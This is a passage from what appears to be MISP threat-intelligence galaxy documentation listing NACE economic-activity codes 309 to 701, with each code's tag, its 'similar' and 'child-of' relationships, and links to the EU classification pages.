Table 12018. Table References

Links
http://data.europa.eu/ux2/nace2/304

309

The tag is: *misp-galaxy:NACE="309"*

View relationships graph

309 has relationships with:

- similar: misp-galaxy:NACE="281" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"

Table 12019. Table References

Links
http://data.europa.eu/ux2/nace2/309

310

The tag is: *misp-galaxy:NACE="310"*

View relationships graph

310 has relationships with:

- child-of: misp-galaxy:NACE="31" with estimative-language:likelihood-probability="likely"

Table 12020. Table References

Links
http://data.europa.eu/ux2/nace2/310

321

The tag is: *misp-galaxy:NACE="321"*

View relationships graph

321 has relationships with:

- child-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"

Table 12021. Table References

Links
http://data.europa.eu/ux2/nace2/321

322

The tag is: *misp-galaxy:NACE="322"*

View relationships graph

322 has relationships with:

- child-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"

Table 12022. Table References

Links
http://data.europa.eu/ux2/nace2/322

323

The tag is: *misp-galaxy:NACE="323"*

View relationships graph

323 has relationships with:

- child-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"

Table 12023. Table References

Links
http://data.europa.eu/ux2/nace2/323

324

The tag is: *misp-galaxy:NACE="324"*

View relationships graph

324 has relationships with:

- child-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"

Table 12024. Table References

Links
http://data.europa.eu/ux2/nace2/324

325

The tag is: *misp-galaxy:NACE="325"*

View relationships graph

325 has relationships with:

- similar: misp-galaxy:NACE="329" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"

Table 12025. Table References

Links
http://data.europa.eu/ux2/nace2/325

329

The tag is: *misp-galaxy:NACE="329"*

View relationships graph

329 has relationships with:

- similar: misp-galaxy:NACE="279" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="323" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"

Table 12026. Table References

Links
http://data.europa.eu/ux2/nace2/329

331

The tag is: *misp-galaxy:NACE="331"*

View relationships graph

331 has relationships with:

- similar: misp-galaxy:NACE="304" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="33" with estimative-language:likelihood-probability="likely"

Table 12027. Table References

Links
http://data.europa.eu/ux2/nace2/331

332

The tag is: *misp-galaxy:NACE="332"*

View relationships graph

332 has relationships with:

- child-of: misp-galaxy:NACE="33" with estimative-language:likelihood-probability="likely"

Table 12028. Table References

Links
http://data.europa.eu/ux2/nace2/332

351

The tag is: *misp-galaxy:NACE="351"*

View relationships graph

351 has relationships with:

- child-of: misp-galaxy:NACE="35" with estimative-language:likelihood-probability="likely"

Table 12029. Table References

Links
http://data.europa.eu/ux2/nace2/351

352

The tag is: *misp-galaxy:NACE="352"*

View relationships graph

352 has relationships with:

- similar: misp-galaxy:NACE="521" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="35" with estimative-language:likelihood-probability="likely"

Table 12030. Table References

Links
http://data.europa.eu/ux2/nace2/352

353

The tag is: *misp-galaxy:NACE="353"*

View relationships graph

353 has relationships with:

- child-of: misp-galaxy:NACE="35" with estimative-language:likelihood-probability="likely"

Table 12031. Table References

Links
http://data.europa.eu/ux2/nace2/353

354

The tag is: *misp-galaxy:NACE="354"*

View relationships graph

354 has relationships with:

- similar: misp-galaxy:NACE="351" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="352" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="35" with estimative-language:likelihood-probability="likely"

Table 12032. Table References

Links
http://data.europa.eu/ux2/nace2/354

360

The tag is: *misp-galaxy:NACE="360"*

View relationships graph

360 has relationships with:

- child-of: misp-galaxy:NACE="36" with estimative-language:likelihood-probability="likely"

Table 12033. Table References

Links
http://data.europa.eu/ux2/nace2/360

370

The tag is: *misp-galaxy:NACE="370"*

View relationships graph

370 has relationships with:

- child-of: misp-galaxy:NACE="37" with estimative-language:likelihood-probability="likely"

Table 12034. Table References

Links
http://data.europa.eu/ux2/nace2/370

381

The tag is: *misp-galaxy:NACE="381"*

View relationships graph

381 has relationships with:

- child-of: misp-galaxy:NACE="38" with estimative-language:likelihood-probability="likely"

Table 12035. Table References

Links
http://data.europa.eu/ux2/nace2/381

382

The tag is: *misp-galaxy:NACE="382"*

View relationships graph

382 has relationships with:

- similar: misp-galaxy:NACE="383" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="38" with estimative-language:likelihood-probability="likely"

Table 12036. Table References

Links
http://data.europa.eu/ux2/nace2/382

383

The tag is: *misp-galaxy:NACE="383"*

View relationships graph

383 has relationships with:

- similar: misp-galaxy:NACE="382" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="38" with estimative-language:likelihood-probability="likely"

Table 12037. Table References

Links
http://data.europa.eu/ux2/nace2/383

390

The tag is: *misp-galaxy:NACE="390"*

View relationships graph

390 has relationships with:

- child-of: misp-galaxy:NACE="39" with estimative-language:likelihood-probability="likely"

Table 12038. Table References

Links
http://data.europa.eu/ux2/nace2/390

410

The tag is: *misp-galaxy:NACE="410"*

View relationships graph

410 has relationships with:

- similar: misp-galaxy:NACE="382" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="41" with estimative-language:likelihood-probability="likely"

Table 12039. Table References

Links
http://data.europa.eu/ux2/nace2/410

421

The tag is: *misp-galaxy:NACE="421"*

View relationships graph

421 has relationships with:

- child-of: misp-galaxy:NACE="42" with estimative-language:likelihood-probability="likely"

Table 12040. Table References

Links
http://data.europa.eu/ux2/nace2/421

422

The tag is: *misp-galaxy:NACE="422"*

View relationships graph

422 has relationships with:

- child-of: misp-galaxy:NACE="42" with estimative-language:likelihood-probability="likely"

Table 12041. Table References

Links
http://data.europa.eu/ux2/nace2/422

429

The tag is: *misp-galaxy:NACE="429"*

View relationships graph

429 has relationships with:

- similar: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="42" with estimative-language:likelihood-probability="likely"

Table 12042. Table References

Links
http://data.europa.eu/ux2/nace2/429

431

The tag is: *misp-galaxy:NACE="431"*

View relationships graph

431 has relationships with:

- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12043. Table References

Links
http://data.europa.eu/ux2/nace2/431

432

The tag is: *misp-galaxy:NACE="432"*

View relationships graph

432 has relationships with:

- similar: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12044. Table References

Links
http://data.europa.eu/ux2/nace2/432

433

The tag is: *misp-galaxy:NACE="433"*

View relationships graph

433 has relationships with:

- similar: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12045. Table References

Links
http://data.europa.eu/ux2/nace2/433

434

The tag is: *misp-galaxy:NACE="434"*

View relationships graph

434 has relationships with:

- similar: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12046. Table References

Links
http://data.europa.eu/ux2/nace2/434

435

The tag is: *misp-galaxy:NACE="435"*

View relationships graph

435 has relationships with:

- similar: misp-galaxy:NACE="421" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12047. Table References

Links
http://data.europa.eu/ux2/nace2/435

436

The tag is: *misp-galaxy:NACE="436"*

View relationships graph

436 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12048. Table References

Links
http://data.europa.eu/ux2/nace2/436

439

The tag is: *misp-galaxy:NACE="439"*

View relationships graph

439 has relationships with:

- child-of: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"

Table 12049. Table References

Links
http://data.europa.eu/ux2/nace2/439

461

The tag is: *misp-galaxy:NACE="461"*

View relationships graph

461 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12050. Table References

Links
http://data.europa.eu/ux2/nace2/461

462

The tag is: *misp-galaxy:NACE="462"*

View relationships graph

462 has relationships with:

- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12051. Table References

Links
http://data.europa.eu/ux2/nace2/462

463

The tag is: *misp-galaxy:NACE="463"*

View relationships graph

463 has relationships with:

- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12052. Table References

Links
http://data.europa.eu/ux2/nace2/463

464

The tag is: *misp-galaxy:NACE="464"*

View relationships graph

464 has relationships with:

- similar: misp-galaxy:NACE="466" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12053. Table References

Links
http://data.europa.eu/ux2/nace2/464

465

The tag is: *misp-galaxy:NACE="465"*

View relationships graph

465 has relationships with:

- similar: misp-galaxy:NACE="466" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12054. Table References

Links
http://data.europa.eu/ux2/nace2/465

466

The tag is: *misp-galaxy:NACE="466"*

View relationships graph

466 has relationships with:

- similar: misp-galaxy:NACE="464" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12055. Table References

Links
http://data.europa.eu/ux2/nace2/466

467

The tag is: *misp-galaxy:NACE="467"*

View relationships graph

467 has relationships with:

- similar: misp-galaxy:NACE="464" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="464" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="464" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12056. Table References

Links
http://data.europa.eu/ux2/nace2/467

468

The tag is: *misp-galaxy:NACE="468"*

View relationships graph

468 has relationships with:

- similar: misp-galaxy:NACE="467" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12057. Table References

Links
http://data.europa.eu/ux2/nace2/468

469

The tag is: *misp-galaxy:NACE="469"*

View relationships graph

469 has relationships with:

- child-of: misp-galaxy:NACE="46" with estimative-language:likelihood-probability="likely"

Table 12058. Table References

Links
http://data.europa.eu/ux2/nace2/469

471

The tag is: *misp-galaxy:NACE="471"*

View relationships graph

471 has relationships with:

- similar: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12059. Table References

Links
http://data.europa.eu/ux2/nace2/471

472

The tag is: *misp-galaxy:NACE="472"*

View relationships graph

472 has relationships with:

- similar: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12060. Table References

Links
http://data.europa.eu/ux2/nace2/472

473

The tag is: *misp-galaxy:NACE="473"*

View relationships graph

473 has relationships with:

- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12061. Table References

Links
http://data.europa.eu/ux2/nace2/473

474

The tag is: *misp-galaxy:NACE="474"*

View relationships graph

474 has relationships with:

- similar: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12062. Table References

Links
http://data.europa.eu/ux2/nace2/474

475

The tag is: *misp-galaxy:NACE="475"*

View relationships graph

475 has relationships with:

- similar: misp-galaxy:NACE="477" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12063. Table References

Links
http://data.europa.eu/ux2/nace2/475

476

The tag is: *misp-galaxy:NACE="476"*

View relationships graph

476 has relationships with:

- similar: misp-galaxy:NACE="475" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="477" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12064. Table References

Links
http://data.europa.eu/ux2/nace2/476

477

The tag is: *misp-galaxy:NACE="477"*

View relationships graph

477 has relationships with:

- similar: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12065. Table References

Links
http://data.europa.eu/ux2/nace2/477

478

The tag is: *misp-galaxy:NACE="478"*

View relationships graph

478 has relationships with:

- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12066. Table References

Links
http://data.europa.eu/ux2/nace2/478

479

The tag is: *misp-galaxy:NACE="479"*

View relationships graph

479 has relationships with:

- similar: misp-galaxy:NACE="471" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="477" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="47" with estimative-language:likelihood-probability="likely"

Table 12067. Table References

Links
http://data.europa.eu/ux2/nace2/479

491

The tag is: *misp-galaxy:NACE="491"*

View relationships graph

491 has relationships with:

- similar: misp-galaxy:NACE="493" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"

Table 12068. Table References

Links
http://data.europa.eu/ux2/nace2/491

492

The tag is: *misp-galaxy:NACE="492"*

View relationships graph

492 has relationships with:

- child-of: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"

Table 12069. Table References

Links
http://data.europa.eu/ux2/nace2/492

493

The tag is: *misp-galaxy:NACE="493"*

View relationships graph

493 has relationships with:

- child-of: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"

Table 12070. Table References

Links
http://data.europa.eu/ux2/nace2/493

494

The tag is: *misp-galaxy:NACE="494"*

View relationships graph

494 has relationships with:

- child-of: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"

Table 12071. Table References

Links
http://data.europa.eu/ux2/nace2/494

495

The tag is: *misp-galaxy:NACE="495"*

View relationships graph

495 has relationships with:

- child-of: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"

Table 12072. Table References

Links
http://data.europa.eu/ux2/nace2/495

501

The tag is: *misp-galaxy:NACE="501"*

View relationships graph

501 has relationships with:

- child-of: misp-galaxy:NACE="50" with estimative-language:likelihood-probability="likely"

Table 12073. Table References

Links
http://data.europa.eu/ux2/nace2/501

502

The tag is: *misp-galaxy:NACE="502"*

View relationships graph

502 has relationships with:

- child-of: misp-galaxy:NACE="50" with estimative-language:likelihood-probability="likely"

Table 12074. Table References

Links
http://data.europa.eu/ux2/nace2/502

503

The tag is: *misp-galaxy:NACE="503"*

View relationships graph

503 has relationships with:

- child-of: misp-galaxy:NACE="50" with estimative-language:likelihood-probability="likely"

Table 12075. Table References

Links
http://data.europa.eu/ux2/nace2/503

504

The tag is: *misp-galaxy:NACE="504"*

View relationships graph

504 has relationships with:

- child-of: misp-galaxy:NACE="50" with estimative-language:likelihood-probability="likely"

Table 12076. Table References

Links
http://data.europa.eu/ux2/nace2/504

511

The tag is: *misp-galaxy:NACE="511"*

View relationships graph

511 has relationships with:

- child-of: misp-galaxy:NACE="51" with estimative-language:likelihood-probability="likely"

Table 12077. Table References

Links
http://data.europa.eu/ux2/nace2/511

512

The tag is: *misp-galaxy:NACE="512"*

View relationships graph

512 has relationships with:

- child-of: misp-galaxy:NACE="51" with estimative-language:likelihood-probability="likely"

Table 12078. Table References

Links
http://data.europa.eu/ux2/nace2/512

521

The tag is: *misp-galaxy:NACE="521"*

View relationships graph

521 has relationships with:

- child-of: misp-galaxy:NACE="52" with estimative-language:likelihood-probability="likely"

Table 12079. Table References

Links
http://data.europa.eu/ux2/nace2/521

522

The tag is: *misp-galaxy:NACE="522"*

View relationships graph

522 has relationships with:

- similar: misp-galaxy:NACE="494" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="52" with estimative-language:likelihood-probability="likely"

Table 12080. Table References

Links
http://data.europa.eu/ux2/nace2/522

523

The tag is: *misp-galaxy:NACE="523"*

View relationships graph

523 has relationships with:

- similar: misp-galaxy:NACE="493" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="522" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="799" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="52" with estimative-language:likelihood-probability="likely"

Table 12081. Table References

Links
http://data.europa.eu/ux2/nace2/523

531

The tag is: *misp-galaxy:NACE="531"*

View relationships graph

531 has relationships with:

- child-of: misp-galaxy:NACE="53" with estimative-language:likelihood-probability="likely"

Table 12082. Table References

Links
http://data.europa.eu/ux2/nace2/531

532

The tag is: *misp-galaxy:NACE="532"*

View relationships graph

532 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="53" with estimative-language:likelihood-probability="likely"

Table 12083. Table References

Links
http://data.europa.eu/ux2/nace2/532

533

The tag is: *misp-galaxy:NACE="533"*

View relationships graph

533 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="53" with estimative-language:likelihood-probability="likely"

Table 12084. Table References

Links
http://data.europa.eu/ux2/nace2/533

551

The tag is: *misp-galaxy:NACE="551"*

View relationships graph

551 has relationships with:

- child-of: misp-galaxy:NACE="55" with estimative-language:likelihood-probability="likely"

Table 12085. Table References

Links

http://data.europa.eu/ux2/nace2/551

552

The tag is: *misp-galaxy:NACE="552"*

View relationships graph

552 has relationships with:

- child-of: misp-galaxy:NACE="55" with estimative-language:likelihood-probability="likely"

Table 12086. Table References

Links
http://data.europa.eu/ux2/nace2/552

553

The tag is: *misp-galaxy:NACE="553"*

View relationships graph

553 has relationships with:

- child-of: misp-galaxy:NACE="55" with estimative-language:likelihood-probability="likely"

Table 12087. Table References

Links
http://data.europa.eu/ux2/nace2/553

554

The tag is: *misp-galaxy:NACE="554"*

View relationships graph

554 has relationships with:

- similar: misp-galaxy:NACE="791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="799" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="55" with estimative-language:likelihood-probability="likely"

Table 12088. Table References

Links

http://data.europa.eu/ux2/nace2/554

559

The tag is: *misp-galaxy:NACE="559"*

View relationships graph

559 has relationships with:

- similar: misp-galaxy:NACE="682" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="55" with estimative-language:likelihood-probability="likely"

Table 12089. Table References

Links
http://data.europa.eu/ux2/nace2/559

561

The tag is: *misp-galaxy:NACE="561"*

View relationships graph

561 has relationships with:

- child-of: misp-galaxy:NACE="56" with estimative-language:likelihood-probability="likely"

Table 12090. Table References

Links
http://data.europa.eu/ux2/nace2/561

562

The tag is: *misp-galaxy:NACE="562"*

View relationships graph

562 has relationships with:

- child-of: misp-galaxy:NACE="56" with estimative-language:likelihood-probability="likely"

Table 12091. Table References

Links
http://data.europa.eu/ux2/nace2/562

563

The tag is: *misp-galaxy:NACE="563"*

View relationships graph

563 has relationships with:

- child-of: misp-galaxy:NACE="56" with estimative-language:likelihood-probability="likely"

Table 12092. Table References

Links
http://data.europa.eu/ux2/nace2/563

564

The tag is: *misp-galaxy:NACE="564"*

View relationships graph

564 has relationships with:

- similar: misp-galaxy:NACE="799" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="56" with estimative-language:likelihood-probability="likely"

Table 12093. Table References

Links
http://data.europa.eu/ux2/nace2/564

581

The tag is: *misp-galaxy:NACE="581"*

View relationships graph

581 has relationships with:

- similar: misp-galaxy:NACE="742" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="742" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="58" with estimative-language:likelihood-probability="likely"

Table 12094. Table References

Links
http://data.europa.eu/ux2/nace2/581

582

The tag is: *misp-galaxy:NACE="582"*

View relationships graph

582 has relationships with:

- child-of: misp-galaxy:NACE="58" with estimative-language:likelihood-probability="likely"

Table 12095. Table References

Links
http://data.europa.eu/ux2/nace2/582

591

The tag is: *misp-galaxy:NACE="591"*

View relationships graph

591 has relationships with:

- child-of: misp-galaxy:NACE="59" with estimative-language:likelihood-probability="likely"

Table 12096. Table References

Links
http://data.europa.eu/ux2/nace2/591

592

The tag is: *misp-galaxy:NACE="592"*

View relationships graph

592 has relationships with:

- child-of: misp-galaxy:NACE="59" with estimative-language:likelihood-probability="likely"

Table 12097. Table References

Links
http://data.europa.eu/ux2/nace2/592

601

The tag is: *misp-galaxy:NACE="601"*

View relationships graph

601 has relationships with:

- child-of: misp-galaxy:NACE="60" with estimative-language:likelihood-probability="likely"

Table 12098. Table References

Links
http://data.europa.eu/ux2/nace2/601

602

The tag is: *misp-galaxy:NACE="602"*

View relationships graph

602 has relationships with:

- similar: misp-galaxy:NACE="591" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="631" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="60" with estimative-language:likelihood-probability="likely"

Table 12099. Table References

Links
http://data.europa.eu/ux2/nace2/602

603

The tag is: *misp-galaxy:NACE="603"*

View relationships graph

603 has relationships with:

- similar: misp-galaxy:NACE="581" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="631" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="639" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="60" with estimative-language:likelihood-probability="likely"

Table 12100. Table References

Links
http://data.europa.eu/ux2/nace2/603

611

The tag is: *misp-galaxy:NACE="611"*

View relationships graph

611 has relationships with:

- similar: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="619" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="61" with estimative-language:likelihood-probability="likely"

Table 12101. Table References

Links
http://data.europa.eu/ux2/nace2/611

612

The tag is: *misp-galaxy:NACE="612"*

View relationships graph

612 has relationships with:

- similar: misp-galaxy:NACE="619" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="61" with estimative-language:likelihood-probability="likely"

Table 12102. Table References

Links
http://data.europa.eu/ux2/nace2/612

619

The tag is: *misp-galaxy:NACE="619"*

View relationships graph

619 has relationships with:

- similar: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="61" with estimative-language:likelihood-probability="likely"

Table 12103. Table References

Links
http://data.europa.eu/ux2/nace2/619

621

The tag is: *misp-galaxy:NACE="621"*

View relationships graph

621 has relationships with:

- similar: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="62" with estimative-language:likelihood-probability="likely"

Table 12104. Table References

Links
http://data.europa.eu/ux2/nace2/621

622

The tag is: *misp-galaxy:NACE="622"*

View relationships graph

622 has relationships with:

- similar: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="62" with estimative-language:likelihood-probability="likely"

Table 12105. Table References

Links
http://data.europa.eu/ux2/nace2/622

629

The tag is: *misp-galaxy:NACE="629"*

View relationships graph

629 has relationships with:

- similar: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="62" with estimative-language:likelihood-probability="likely"

Table 12106. Table References

Links
http://data.europa.eu/ux2/nace2/629

631

The tag is: *misp-galaxy:NACE="631"*

View relationships graph

631 has relationships with:

- similar: misp-galaxy:NACE="521" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="63" with estimative-language:likelihood-probability="likely"

Table 12107. Table References

Links
http://data.europa.eu/ux2/nace2/631

639

The tag is: *misp-galaxy:NACE="639"*

View relationships graph

639 has relationships with:

- similar: misp-galaxy:NACE="631" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="63" with estimative-language:likelihood-probability="likely"

Table 12108. Table References

Links
http://data.europa.eu/ux2/nace2/639

641

The tag is: *misp-galaxy:NACE="641"*

View relationships graph

641 has relationships with:

- child-of: misp-galaxy:NACE="64" with estimative-language:likelihood-probability="likely"

Table 12109. Table References

Links
http://data.europa.eu/ux2/nace2/641

642

The tag is: *misp-galaxy:NACE="642"*

View relationships graph

642 has relationships with:

- similar: misp-galaxy:NACE="649" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="64" with estimative-language:likelihood-probability="likely"

Table 12110. Table References

Links
http://data.europa.eu/ux2/nace2/642

643

The tag is: *misp-galaxy:NACE="643"*

View relationships graph

643 has relationships with:

- child-of: misp-galaxy:NACE="64" with estimative-language:likelihood-probability="likely"

Table 12111. Table References

Links
http://data.europa.eu/ux2/nace2/643

649

The tag is: *misp-galaxy:NACE="649"*

View relationships graph

649 has relationships with:

- child-of: misp-galaxy:NACE="64" with estimative-language:likelihood-probability="likely"

Table 12112. Table References

Links
http://data.europa.eu/ux2/nace2/649

651

The tag is: *misp-galaxy:NACE="651"*

View relationships graph

651 has relationships with:

- child-of: misp-galaxy:NACE="65" with estimative-language:likelihood-probability="likely"

Table 12113. Table References

Links
http://data.europa.eu/ux2/nace2/651

652

The tag is: *misp-galaxy:NACE="652"*

View relationships graph

652 has relationships with:

- child-of: misp-galaxy:NACE="65" with estimative-language:likelihood-probability="likely"

Table 12114. Table References

Links
http://data.europa.eu/ux2/nace2/652

653

The tag is: *misp-galaxy:NACE="653"*

View relationships graph

653 has relationships with:

- child-of: misp-galaxy:NACE="65" with estimative-language:likelihood-probability="likely"

Table 12115. Table References

Links
http://data.europa.eu/ux2/nace2/653

661

The tag is: *misp-galaxy:NACE="661"*

View relationships graph

661 has relationships with:

- child-of: misp-galaxy:NACE="66" with estimative-language:likelihood-probability="likely"

Table 12116. Table References

Links
http://data.europa.eu/ux2/nace2/661

662

The tag is: *misp-galaxy:NACE="662"*

View relationships graph

662 has relationships with:

- child-of: misp-galaxy:NACE="66" with estimative-language:likelihood-probability="likely"

Table 12117. Table References

Links
http://data.europa.eu/ux2/nace2/662

663

The tag is: *misp-galaxy:NACE="663"*

View relationships graph

663 has relationships with:

- similar: misp-galaxy:NACE="661" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="66" with estimative-language:likelihood-probability="likely"

Table 12118. Table References

Links
http://data.europa.eu/ux2/nace2/663

681

The tag is: *misp-galaxy:NACE="681"*

View relationships graph

681 has relationships with:

- similar: misp-galaxy:NACE="661" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="68" with estimative-language:likelihood-probability="likely"

Table 12119. Table References

Links
http://data.europa.eu/ux2/nace2/681

682

The tag is: *misp-galaxy:NACE="682"*

View relationships graph

682 has relationships with:

- child-of: misp-galaxy:NACE="68" with estimative-language:likelihood-probability="likely"

Table 12120. Table References

Links
http://data.europa.eu/ux2/nace2/682

683

The tag is: *misp-galaxy:NACE="683"*

View relationships graph

683 has relationships with:

- child-of: misp-galaxy:NACE="68" with estimative-language:likelihood-probability="likely"

Table 12121. Table References

Links
http://data.europa.eu/ux2/nace2/683

691

The tag is: *misp-galaxy:NACE="691"*

View relationships graph

691 has relationships with:

- child-of: misp-galaxy:NACE="69" with estimative-language:likelihood-probability="likely"

Table 12122. Table References

Links
http://data.europa.eu/ux2/nace2/691

692

The tag is: *misp-galaxy:NACE="692"*

View relationships graph

692 has relationships with:

- child-of: misp-galaxy:NACE="69" with estimative-language:likelihood-probability="likely"

Table 12123. Table References

Links
http://data.europa.eu/ux2/nace2/692

701

The tag is: *misp-galaxy:NACE="701"*

View relationships graph

701 has relationships with:

- child-of: misp-galaxy:NACE="70" with estimative-language:likelihood-probability="likely"

Table 12124. Table References

Links
